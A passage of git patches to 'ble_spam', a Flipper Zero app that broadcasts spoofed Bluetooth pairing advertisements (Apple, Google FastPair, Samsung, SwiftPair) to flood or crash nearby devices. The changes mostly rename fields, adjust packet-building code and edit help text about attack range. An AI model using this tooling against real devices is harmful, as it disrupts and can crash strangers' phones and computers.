ctx->byte_store[1] = (cfg->data.proximity_pair.model >> 0x00) & 0xFF; byte_input_set_result_callback( - byte_input, pp_model_id_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2); + byte_input, pp_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } -bool scene_continuity_pp_model_id_custom_on_event(void* _ctx, SceneManagerEvent event) { +bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } -void scene_continuity_pp_model_id_custom_on_exit(void* _ctx) { +void scene_continuity_pp_model_custom_on_exit(void* _ctx) { Ctx* ctx = _ctx; ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; - cfg->data.proximity_pair.model_id = - (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00); + cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00); } static void pp_prefix_callback(void* _ctx, uint32_t index) { @@ -651,24 +650,24 @@ void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) { cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00); } -static void na_action_type_callback(void* _ctx, uint32_t index) { +static void na_action_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; switch(index) { case 0: - cfg->data.nearby_action.type = 0x00; + cfg->data.nearby_action.action = 0x00; scene_manager_previous_scene(ctx->scene_manager); break; case na_actions_count + 1: - scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionTypeCustom); + scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom); break; default: - cfg->data.nearby_action.type = na_actions[index - 1].type; + cfg->data.nearby_action.action = na_actions[index - 1].value; scene_manager_previous_scene(ctx->scene_manager); break; } } -void scene_continuity_na_action_type_on_enter(void* _ctx) { +void scene_continuity_na_action_on_enter(void* _ctx) { Ctx* ctx = _ctx; ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; Submenu* submenu = ctx->submenu; @@ -676,19 +675,19 @@ void scene_continuity_na_action_type_on_enter(void* _ctx) { bool found = false; submenu_reset(submenu); - submenu_add_item(submenu, "Random", 0, na_action_type_callback, ctx); - if(cfg->data.nearby_action.type == 0x00) { + submenu_add_item(submenu, "Random", 0, na_action_callback, ctx); + if(cfg->data.nearby_action.action == 0x00) { found = true; selected = 0; } for(uint8_t i = 0; i < na_actions_count; i++) { - submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_type_callback, ctx); - if(!found && cfg->data.nearby_action.type == na_actions[i].type) { + submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx); + if(!found && cfg->data.nearby_action.action == na_actions[i].value) { found = true; selected = i + 1; } } - submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_type_callback, ctx); + submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx); if(!found) { found = true; selected = na_actions_count + 1; @@ -698,43 +697,43 @@ void scene_continuity_na_action_type_on_enter(void* _ctx) { view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); } -bool scene_continuity_na_action_type_on_event(void* _ctx, SceneManagerEvent event) { +bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } -void scene_continuity_na_action_type_on_exit(void* _ctx) { +void scene_continuity_na_action_on_exit(void* _ctx) { UNUSED(_ctx); } -static void na_action_type_custom_callback(void* _ctx) { +static void na_action_custom_callback(void* _ctx) { Ctx* ctx = _ctx; scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager); } -void scene_continuity_na_action_type_custom_on_enter(void* _ctx) { +void scene_continuity_na_action_custom_on_enter(void* _ctx) { Ctx* ctx = _ctx; ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; ByteInput* byte_input = ctx->byte_input; byte_input_set_header_text(byte_input, "Enter custom Action Type"); - ctx->byte_store[0] = (cfg->data.nearby_action.type >> 0x00) & 0xFF; + ctx->byte_store[0] = (cfg->data.nearby_action.action >> 0x00) & 0xFF; byte_input_set_result_callback( - byte_input, na_action_type_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1); + byte_input, na_action_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } -bool scene_continuity_na_action_type_custom_on_event(void* _ctx, SceneManagerEvent event) { +bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } -void scene_continuity_na_action_type_custom_on_exit(void* _ctx) { +void scene_continuity_na_action_custom_on_exit(void* _ctx) { Ctx* ctx = _ctx; ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; - cfg->data.nearby_action.type = (ctx->byte_store[0] << 0x00); + cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00); } static void na_flags_callback(void* _ctx) { diff --git a/applications/external/ble_spam/protocols/continuity.h b/applications/external/ble_spam/protocols/continuity.h index 54f568195..cd505fc08 100644 --- a/applications/external/ble_spam/protocols/continuity.h +++ b/applications/external/ble_spam/protocols/continuity.h @@ -16,18 +16,18 @@ typedef enum { ContinuityTypeNearbyInfo = 0x10, ContinuityTypeCustomCrash, - ContinuityTypeCount + ContinuityTypeCOUNT } ContinuityType; typedef struct { ContinuityType type; union { struct { - uint16_t model_id; + uint16_t model; uint8_t prefix; } proximity_pair; struct { - uint8_t type; + uint8_t action; uint8_t flags; } nearby_action; } data; diff --git a/applications/external/ble_spam/protocols/continuity_scenes.h b/applications/external/ble_spam/protocols/continuity_scenes.h index 6588932a7..f41c96cb4 100644 --- a/applications/external/ble_spam/protocols/continuity_scenes.h +++ b/applications/external/ble_spam/protocols/continuity_scenes.h @@ -1,7 +1,7 @@ -ADD_SCENE(continuity_pp_model_id, ContinuityPpModelId) -ADD_SCENE(continuity_pp_model_id_custom, ContinuityPpModelIdCustom) +ADD_SCENE(continuity_pp_model, ContinuityPpModel) +ADD_SCENE(continuity_pp_model_custom, ContinuityPpModelCustom) ADD_SCENE(continuity_pp_prefix, ContinuityPpPrefix) ADD_SCENE(continuity_pp_prefix_custom, ContinuityPpPrefixCustom) -ADD_SCENE(continuity_na_action_type, ContinuityNaActionType) -ADD_SCENE(continuity_na_action_type_custom, ContinuityNaActionTypeCustom) +ADD_SCENE(continuity_na_action, ContinuityNaAction) +ADD_SCENE(continuity_na_action_custom, ContinuityNaActionCustom) ADD_SCENE(continuity_na_flags, ContinuityNaFlags) diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index 6744ac005..2e8f6749b 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -5,7 +5,7 @@ // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction const struct { - uint32_t id; + uint32_t value; const char* name; } models[] = { // Genuine devices @@ -40,19 +40,18 @@ const struct { const uint8_t models_count = COUNT_OF(models); static const char* fastpair_get_name(const ProtocolCfg* _cfg) { - const FastpairCfg* cfg = &_cfg->fastpair; - UNUSED(cfg); + UNUSED(_cfg); return "FastPair"; } static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { const FastpairCfg* cfg = _cfg ? &_cfg->fastpair : NULL; - uint32_t model_id; - if(cfg && cfg->model_id != 0x000000) { - model_id = cfg->model_id; + uint32_t model; + if(cfg && cfg->model != 0x000000) { + model = cfg->model; } else { - model_id = models[rand() % models_count].id; + model = models[rand() % models_count].value; } uint8_t size = 14; @@ -68,9 +67,9 @@ static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const Protoc packet[i++] = 0x16; // AD Type (Service Data) packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair) packet[i++] = 0xFE; // ... - packet[i++] = (model_id >> 0x10) & 0xFF; // Model ID - packet[i++] = (model_id >> 0x08) & 0xFF; // ... - packet[i++] = (model_id >> 0x00) & 0xFF; // ... + packet[i++] = (model >> 0x10) & 0xFF; + packet[i++] = (model >> 0x08) & 0xFF; + packet[i++] = (model >> 0x00) & 0xFF; packet[i++] = 2; // Size packet[i++] = 0x0A; // AD Type (Tx Power Level) @@ -82,27 +81,27 @@ static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const Protoc enum { _ConfigExtraStart = ConfigExtraStart, - ConfigModelId, + ConfigModel, }; static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); switch(index) { - case ConfigModelId: - scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelId); + case ConfigModel: + scene_manager_next_scene(ctx->scene_manager, SceneFastpairModel); default: break; } } -static void model_id_changed(VariableItem* item) { +static void model_changed(VariableItem* item) { FastpairCfg* cfg = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); if(index) { index--; - cfg->model_id = models[index].id; + cfg->model = models[index].value; variable_item_set_current_value_text(item, models[index].name); } else { - cfg->model_id = 0x000000; + cfg->model = 0x000000; variable_item_set_current_value_text(item, "Random"); } } @@ -112,22 +111,22 @@ static void fastpair_extra_config(Ctx* ctx) { VariableItem* item; size_t value_index; - item = variable_item_list_add(list, "Model ID", models_count + 1, model_id_changed, cfg); + item = variable_item_list_add(list, "Model Code", models_count + 1, model_changed, cfg); const char* model_name = NULL; char model_name_buf[9]; - if(cfg->model_id == 0x000000) { + if(cfg->model == 0x000000) { model_name = "Random"; value_index = 0; } else { for(uint8_t i = 0; i < models_count; i++) { - if(cfg->model_id == models[i].id) { + if(cfg->model == models[i].value) { model_name = models[i].name; value_index = i + 1; break; } } if(!model_name) { - snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->model_id); + snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->model); model_name = model_name_buf; value_index = models_count + 1; } @@ -147,24 +146,24 @@ const Protocol protocol_fastpair = { .extra_config = fastpair_extra_config, }; -static void model_id_callback(void* _ctx, uint32_t index) { +static void model_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; switch(index) { case 0: - cfg->model_id = 0x000000; + cfg->model = 0x000000; scene_manager_previous_scene(ctx->scene_manager); break; case models_count + 1: - scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelIdCustom); + scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelCustom); break; default: - cfg->model_id = models[index - 1].id; + cfg->model = models[index - 1].value; scene_manager_previous_scene(ctx->scene_manager); break; } } -void scene_fastpair_model_id_on_enter(void* _ctx) { +void scene_fastpair_model_on_enter(void* _ctx) { Ctx* ctx = _ctx; FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; Submenu* submenu = ctx->submenu; @@ -172,19 +171,19 @@ void scene_fastpair_model_id_on_enter(void* _ctx) { bool found = false; submenu_reset(submenu); - submenu_add_item(submenu, "Random", 0, model_id_callback, ctx); - if(cfg->model_id == 0x000000) { + submenu_add_item(submenu, "Random", 0, model_callback, ctx); + if(cfg->model == 0x000000) { found = true; selected = 0; } for(uint8_t i = 0; i < models_count; i++) { - submenu_add_item(submenu, models[i].name, i + 1, model_id_callback, ctx); - if(!found && cfg->model_id == models[i].id) { + submenu_add_item(submenu, models[i].name, i + 1, model_callback, ctx); + if(!found && cfg->model == models[i].value) { found = true; selected = i + 1; } } - submenu_add_item(submenu, "Custom", models_count + 1, model_id_callback, ctx); + submenu_add_item(submenu, "Custom", models_count + 1, model_callback, ctx); if(!found) { found = true; selected = models_count + 1; @@ -194,44 +193,44 @@ void scene_fastpair_model_id_on_enter(void* _ctx) { view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); } -bool scene_fastpair_model_id_on_event(void* _ctx, SceneManagerEvent event) { +bool scene_fastpair_model_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } -void scene_fastpair_model_id_on_exit(void* _ctx) { +void scene_fastpair_model_on_exit(void* _ctx) { UNUSED(_ctx); } -static void model_id_custom_callback(void* _ctx) { +static void model_custom_callback(void* _ctx) { Ctx* ctx = _ctx; scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager); } -void scene_fastpair_model_id_custom_on_enter(void* _ctx) { +void scene_fastpair_model_custom_on_enter(void* _ctx) { Ctx* ctx = _ctx; FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; ByteInput* byte_input = ctx->byte_input; - byte_input_set_header_text(byte_input, "Enter custom Model ID"); + byte_input_set_header_text(byte_input, "Enter custom Model Code"); - ctx->byte_store[0] = (cfg->model_id >> 0x10) & 0xFF; - ctx->byte_store[1] = (cfg->model_id >> 0x08) & 0xFF; - ctx->byte_store[2] = (cfg->model_id >> 0x00) & 0xFF; + ctx->byte_store[0] = (cfg->model >> 0x10) & 0xFF; + ctx->byte_store[1] = (cfg->model >> 0x08) & 0xFF; + ctx->byte_store[2] = (cfg->model >> 0x00) & 0xFF; byte_input_set_result_callback( - byte_input, model_id_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3); + byte_input, model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } -bool scene_fastpair_model_id_custom_on_event(void* _ctx, SceneManagerEvent event) { +bool scene_fastpair_model_custom_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } -void scene_fastpair_model_id_custom_on_exit(void* _ctx) { +void scene_fastpair_model_custom_on_exit(void* _ctx) { Ctx* ctx = _ctx; FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; - cfg->model_id = + cfg->model = (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00); } diff --git a/applications/external/ble_spam/protocols/fastpair.h b/applications/external/ble_spam/protocols/fastpair.h index 9daf43411..c989f3f13 100644 --- a/applications/external/ble_spam/protocols/fastpair.h +++ b/applications/external/ble_spam/protocols/fastpair.h @@ -5,7 +5,7 @@ // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction typedef struct { - uint32_t model_id; + uint32_t model; } FastpairCfg; extern const Protocol protocol_fastpair; diff --git a/applications/external/ble_spam/protocols/fastpair_scenes.h b/applications/external/ble_spam/protocols/fastpair_scenes.h index f2c3e93fd..9bd0fd2ce 100644 --- a/applications/external/ble_spam/protocols/fastpair_scenes.h +++ b/applications/external/ble_spam/protocols/fastpair_scenes.h @@ -1,2 +1,2 @@ -ADD_SCENE(fastpair_model_id, FastpairModelId) -ADD_SCENE(fastpair_model_id_custom, FastpairModelIdCustom) +ADD_SCENE(fastpair_model, FastpairModel) +ADD_SCENE(fastpair_model_custom, FastpairModelCustom) diff --git a/applications/external/ble_spam/protocols/smartthings.c b/applications/external/ble_spam/protocols/smartthings.c index 5b37518d2..956357e00 100644 --- a/applications/external/ble_spam/protocols/smartthings.c +++ b/applications/external/ble_spam/protocols/smartthings.c @@ -44,9 +44,9 @@ const struct { {0x07, "Black Watch4 40mm"}, {0x08, "White Watch4 40mm"}, {0x09, "Gold Watch4 40mm"}, - {0x0a, "French Watch4"}, - {0x0b, "French Watch4 Classic"}, - {0x0c, "Fox Watch5 44mm"}, + {0x0A, "French Watch4"}, + {0x0B, "French Watch4 Classic"}, + {0x0C, "Fox Watch5 44mm"}, {0x11, "Black Watch5 44mm"}, {0x12, "Sapphire Watch5 44mm"}, {0x13, "Purpleish Watch5 40mm"}, @@ -55,16 +55,16 @@ const struct { {0x16, "Gray Watch5 Pro 45mm"}, {0x17, "White Watch5 44mm"}, {0x18, "White & Black Watch5"}, - {0x1b, "Black Watch6 Pink 40mm"}, - {0x1c, "Gold Watch6 Gold 40mm"}, - {0x1d, "Silver Watch6 Cyan 44mm"}, - {0x1e, "Black Watch6 Classic 43mm"}, + {0x1B, "Black Watch6 Pink 40mm"}, + {0x1C, "Gold Watch6 Gold 40mm"}, + {0x1D, "Silver Watch6 Cyan 44mm"}, + {0x1E, "Black Watch6 Classic 43mm"}, {0x20, "Green Goofy"}, - {0x1a, "Fallback Watch"}, + {0x1A, "Fallback Watch"}, }; const uint8_t watch_models_count = COUNT_OF(watch_models); -static const char* type_names[SmartthingsTypeMAX] = { +static const char* type_names[SmartthingsTypeCOUNT] = { [SmartthingsTypeBuds] = "SmartThings Buds", [SmartthingsTypeWatch] = "SmartThings Watch", }; @@ -73,7 +73,7 @@ static const char* smartthings_get_name(const ProtocolCfg* _cfg) { return type_names[cfg->type]; } -static uint8_t packet_sizes[SmartthingsTypeMAX] = { +static uint8_t packet_sizes[SmartthingsTypeCOUNT] = { [SmartthingsTypeBuds] = 31, [SmartthingsTypeWatch] = 15, }; @@ -84,7 +84,7 @@ void smartthings_make_packet(uint8_t* out_size, uint8_t** out_packet, const Prot if(cfg) { type = cfg->type; } else { - type = rand() % SmartthingsTypeMAX; + type = rand() % SmartthingsTypeCOUNT; } uint8_t size = packet_sizes[type]; @@ -121,12 +121,12 @@ void smartthings_make_packet(uint8_t* out_size, uint8_t** out_packet, const Prot packet[i++] = 0x06; packet[i++] = 0x3C; packet[i++] = 0x94; - packet[i++] = 0x8e; + packet[i++] = 0x8E; packet[i++] = 0x00; packet[i++] = 0x00; packet[i++] = 0x00; packet[i++] = 0x00; - packet[i++] = 0xc7; + packet[i++] = 0xC7; packet[i++] = 0x00; packet[i++] = 16; // Size @@ -237,8 +237,8 @@ static void smartthings_extra_config(Ctx* ctx) { switch(cfg->type) { case SmartthingsTypeBuds: { - item = - variable_item_list_add(list, "Model", buds_models_count + 1, buds_model_changed, cfg); + item = variable_item_list_add( + list, "Model Code", buds_models_count + 1, buds_model_changed, cfg); const char* model_name = NULL; char model_name_buf[9]; if(cfg->data.buds.model == 0x000000) { @@ -264,7 +264,7 @@ static void smartthings_extra_config(Ctx* ctx) { } case SmartthingsTypeWatch: { item = variable_item_list_add( - list, "Model", watch_models_count + 1, watch_model_changed, cfg); + list, "Model Code", watch_models_count + 1, watch_model_changed, cfg); const char* model_name = NULL; char model_name_buf[3]; if(cfg->data.watch.model == 0x00) { @@ -368,7 +368,7 @@ void scene_smartthings_buds_model_custom_on_enter(void* _ctx) { SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; ByteInput* byte_input = ctx->byte_input; - byte_input_set_header_text(byte_input, "Enter custom Model"); + byte_input_set_header_text(byte_input, "Enter custom Model Code"); ctx->byte_store[0] = (cfg->data.buds.model >> 0x10) & 0xFF; ctx->byte_store[1] = (cfg->data.buds.model >> 0x08) & 0xFF; @@ -457,7 +457,7 @@ void scene_smartthings_watch_model_custom_on_enter(void* _ctx) { SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; ByteInput* byte_input = ctx->byte_input; - byte_input_set_header_text(byte_input, "Enter custom Model"); + byte_input_set_header_text(byte_input, "Enter custom Model Code"); ctx->byte_store[0] = (cfg->data.watch.model >> 0x00) & 0xFF; diff --git a/applications/external/ble_spam/protocols/smartthings.h b/applications/external/ble_spam/protocols/smartthings.h index 36c3e9e81..bda7a9bb7 100644 --- a/applications/external/ble_spam/protocols/smartthings.h +++ b/applications/external/ble_spam/protocols/smartthings.h @@ -7,7 +7,7 @@ typedef enum { SmartthingsTypeBuds, SmartthingsTypeWatch, - SmartthingsTypeMAX, + SmartthingsTypeCOUNT, } SmartthingsType; typedef struct { diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c index caa410130..d8280e598 100644 --- a/applications/external/ble_spam/protocols/swiftpair.c +++ b/applications/external/ble_spam/protocols/swiftpair.c @@ -5,17 +5,16 @@ // Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair static const char* swiftpair_get_name(const ProtocolCfg* _cfg) { - const SwiftpairCfg* cfg = &_cfg->swiftpair; - UNUSED(cfg); + UNUSED(_cfg); return "SwiftPair"; } static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { const SwiftpairCfg* cfg = _cfg ? &_cfg->swiftpair : NULL; - const char* display_name; - if(cfg && cfg->display_name[0] != '\0') { - display_name = cfg->display_name; + const char* name; + if(cfg && cfg->name[0] != '\0') { + name = cfg->name; } else { const char* names[] = { "Assquach💦", @@ -25,11 +24,11 @@ static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const Proto "👉👌", "🔵🦷", }; - display_name = names[rand() % COUNT_OF(names)]; + name = names[rand() % COUNT_OF(names)]; } - uint8_t display_name_len = strlen(display_name); + uint8_t name_len = strlen(name); - uint8_t size = 7 + display_name_len; + uint8_t size = 7 + name_len; uint8_t* packet = malloc(size); uint8_t i = 0; @@ -40,8 +39,8 @@ static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const Proto packet[i++] = 0x03; // Microsoft Beacon ID packet[i++] = 0x00; // Microsoft Beacon Sub Scenario packet[i++] = 0x80; // Reserved RSSI Byte - memcpy(&packet[i], display_name, display_name_len); // Display Name - i += display_name_len; + memcpy(&packet[i], name, name_len); + i += name_len; *_size = size; *_packet = packet; @@ -49,14 +48,14 @@ static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const Proto enum { _ConfigExtraStart = ConfigExtraStart, - ConfigDisplayName, + ConfigName, }; static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); switch(index) { - case ConfigDisplayName: - scene_manager_next_scene(ctx->scene_manager, SceneSwiftpairDisplayName); + case ConfigName: + scene_manager_next_scene(ctx->scene_manager, SceneSwiftpairName); default: break; } @@ -67,8 +66,7 @@ static void swiftpair_extra_config(Ctx* ctx) { VariableItem* item; item = variable_item_list_add(list, "Display Name", 0, NULL, NULL); - variable_item_set_current_value_text( - item, cfg->display_name[0] != '\0' ? cfg->display_name : "Random"); + variable_item_set_current_value_text(item, cfg->name[0] != '\0' ? cfg->name : "Random"); variable_item_list_add(list, "Requires enabling SwiftPair", 0, NULL, NULL); @@ -82,11 +80,11 @@ const Protocol protocol_swiftpair = { .extra_config = swiftpair_extra_config, }; -static void display_name_callback(void* _ctx) { +static void name_callback(void* _ctx) { Ctx* ctx = _ctx; scene_manager_previous_scene(ctx->scene_manager); } -void scene_swiftpair_display_name_on_enter(void* _ctx) { +void scene_swiftpair_name_on_enter(void* _ctx) { Ctx* ctx = _ctx; SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair; TextInput* text_input = ctx->text_input; @@ -95,17 +93,17 @@ void scene_swiftpair_display_name_on_enter(void* _ctx) { text_input_set_header_text(text_input, "Leave empty for random"); text_input_set_result_callback( - text_input, display_name_callback, ctx, cfg->display_name, sizeof(cfg->display_name), true); + text_input, name_callback, ctx, cfg->name, sizeof(cfg->name), true); text_input_set_minimum_length(text_input, 0); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewTextInput); } -bool scene_swiftpair_display_name_on_event(void* _ctx, SceneManagerEvent event) { +bool scene_swiftpair_name_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } -void scene_swiftpair_display_name_on_exit(void* _ctx) { +void scene_swiftpair_name_on_exit(void* _ctx) { UNUSED(_ctx); } diff --git a/applications/external/ble_spam/protocols/swiftpair.h b/applications/external/ble_spam/protocols/swiftpair.h index 4ee4241db..e48f604a2 100644 --- a/applications/external/ble_spam/protocols/swiftpair.h +++ b/applications/external/ble_spam/protocols/swiftpair.h @@ -5,7 +5,7 @@ // Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair typedef struct { - char display_name[25]; + char name[25]; } SwiftpairCfg; extern const Protocol protocol_swiftpair; diff --git a/applications/external/ble_spam/protocols/swiftpair_scenes.h b/applications/external/ble_spam/protocols/swiftpair_scenes.h index a31058ca4..040802de3 100644 --- a/applications/external/ble_spam/protocols/swiftpair_scenes.h +++ b/applications/external/ble_spam/protocols/swiftpair_scenes.h @@ -1 +1 @@ -ADD_SCENE(swiftpair_display_name, SwiftpairDisplayName) +ADD_SCENE(swiftpair_name, SwiftpairName) diff --git a/applications/external/ble_spam/scenes/_setup.c b/applications/external/ble_spam/scenes/_setup.c index 511267544..beaa4c4b2 100644 --- a/applications/external/ble_spam/scenes/_setup.c +++ b/applications/external/ble_spam/scenes/_setup.c @@ -26,5 +26,5 @@ const SceneManagerHandlers scene_handlers = { .on_enter_handlers = scene_on_enter_handlers, .on_event_handlers = scene_on_event_handlers, .on_exit_handlers = scene_on_exit_handlers, - .scene_num = SceneCount, + .scene_num = SceneCOUNT, }; diff --git a/applications/external/ble_spam/scenes/_setup.h b/applications/external/ble_spam/scenes/_setup.h index e9f3b44c5..fd665ac0b 100644 --- a/applications/external/ble_spam/scenes/_setup.h +++ b/applications/external/ble_spam/scenes/_setup.h @@ -6,7 +6,7 @@ #define ADD_SCENE(name, id) Scene##id, typedef enum { #include "_scenes.h" - SceneCount, + SceneCOUNT, } Scene; #undef ADD_SCENE From 27a213869a5fb1636b28957c641f6a793d168914 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 21 Oct 2023 05:02:19 +0100 Subject: [PATCH 45/56] BLE Spam tweak some text and better help section --- applications/external/ble_spam/ble_spam.c | 33 ++++++++++++++----- .../external/ble_spam/protocols/continuity.c | 6 ++-- 2 files changed, 28 insertions(+), 11 deletions(-) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index ae5d761c1..fb4d4843f 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -14,7 +14,7 @@ static Attack attacks[] = { { - .title = "+ Kitchen Sink", + .title = "The Kitchen Sink", .text = "Flood all attacks at once", .protocol = NULL, .payload = @@ -75,7 +75,7 @@ static Attack attacks[] = { }, }, { - .title = "Android Device Pair", + .title = "Android Device Connect", .text = "Reboot cooldown, long range", .protocol = &protocol_fastpair, .payload = @@ -192,12 +192,13 @@ static void toggle_adv(State* state) { } } -#define PAGE_MIN (-3) +#define PAGE_MIN (-4) #define PAGE_MAX ATTACKS_COUNT enum { PageHelpApps = PAGE_MIN, PageHelpDelay, PageHelpDistance, + PageHelpInfoConfig, PageStart = 0, PageEnd = ATTACKS_COUNT - 1, PageAboutCredits = PAGE_MAX, @@ -279,9 +280,25 @@ static void draw_callback(Canvas* canvas, void* _ctx) { 48, AlignLeft, AlignTop, - "\e#Distance\e# is limited, attacks\n" - "work under 1 meter but a\n" - "few are marked 'long range'", + "\e#Distance\e# varies greatly:\n" + "some are long range (>30 m)\n" + "others are close range (<1 m)", + false); + break; + case PageHelpInfoConfig: + canvas_set_font(canvas, FontBatteryPercent); + canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help"); + elements_text_box( + canvas, + 4, + 16, + 120, + 48, + AlignLeft, + AlignTop, + "See \e#more info\e# and change\n" + "\e#attack options\e# by holding\n" + "Ok on each attack page", false); break; case PageAboutCredits: @@ -318,11 +335,11 @@ static void draw_callback(Canvas* canvas, void* _ctx) { "%02i/%02i: %s", state->index + 1, ATTACKS_COUNT, - protocol ? protocol->get_name(&payload->cfg) : "Everything"); + protocol ? protocol->get_name(&payload->cfg) : "Everything AND"); canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str); canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 4, 32, attack->title); + canvas_draw_str(canvas, 4, 33, attack->title); canvas_set_font(canvas, FontSecondary); canvas_draw_str(canvas, 4, 46, attack->text); diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index e253f65c1..4233f0457 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -63,13 +63,13 @@ const uint8_t na_actions_count = COUNT_OF(na_actions); static const char* type_names[ContinuityTypeCOUNT] = { [ContinuityTypeAirDrop] = "AirDrop", - [ContinuityTypeProximityPair] = "Proximity Pair", + [ContinuityTypeProximityPair] = "Continuity Pair", [ContinuityTypeAirplayTarget] = "Airplay Target", [ContinuityTypeHandoff] = "Handoff", [ContinuityTypeTetheringSource] = "Tethering Source", - [ContinuityTypeNearbyAction] = "Nearby Action", + [ContinuityTypeNearbyAction] = "Continuity Action", [ContinuityTypeNearbyInfo] = "Nearby Info", - [ContinuityTypeCustomCrash] = "Custom Packet", + [ContinuityTypeCustomCrash] = "Continuity Custom", }; static const char* continuity_get_name(const ProtocolCfg* _cfg) { const ContinuityCfg* cfg = &_cfg->continuity; From 9e64065f0746b2e6b9f95fc34c206b5ce0ed862e Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 21 Oct 2023 05:06:58 +0100 Subject: [PATCH 46/56] Samsung stuff is actually called EasySetup --- applications/external/ble_spam/ble_spam.c | 12 +- .../external/ble_spam/protocols/_protocols.c | 2 +- .../external/ble_spam/protocols/_protocols.h | 4 +- .../external/ble_spam/protocols/_scenes.h | 2 +- .../protocols/{smartthings.c => easysetup.c} | 104 +++++++++--------- .../protocols/{smartthings.h => easysetup.h} | 14 +-- .../ble_spam/protocols/easysetup_scenes.h | 4 + .../ble_spam/protocols/smartthings_scenes.h | 4 - 8 files changed, 73 insertions(+), 73 deletions(-) rename applications/external/ble_spam/protocols/{smartthings.c => easysetup.c} (80%) rename applications/external/ble_spam/protocols/{smartthings.h => easysetup.h} (61%) create mode 100644 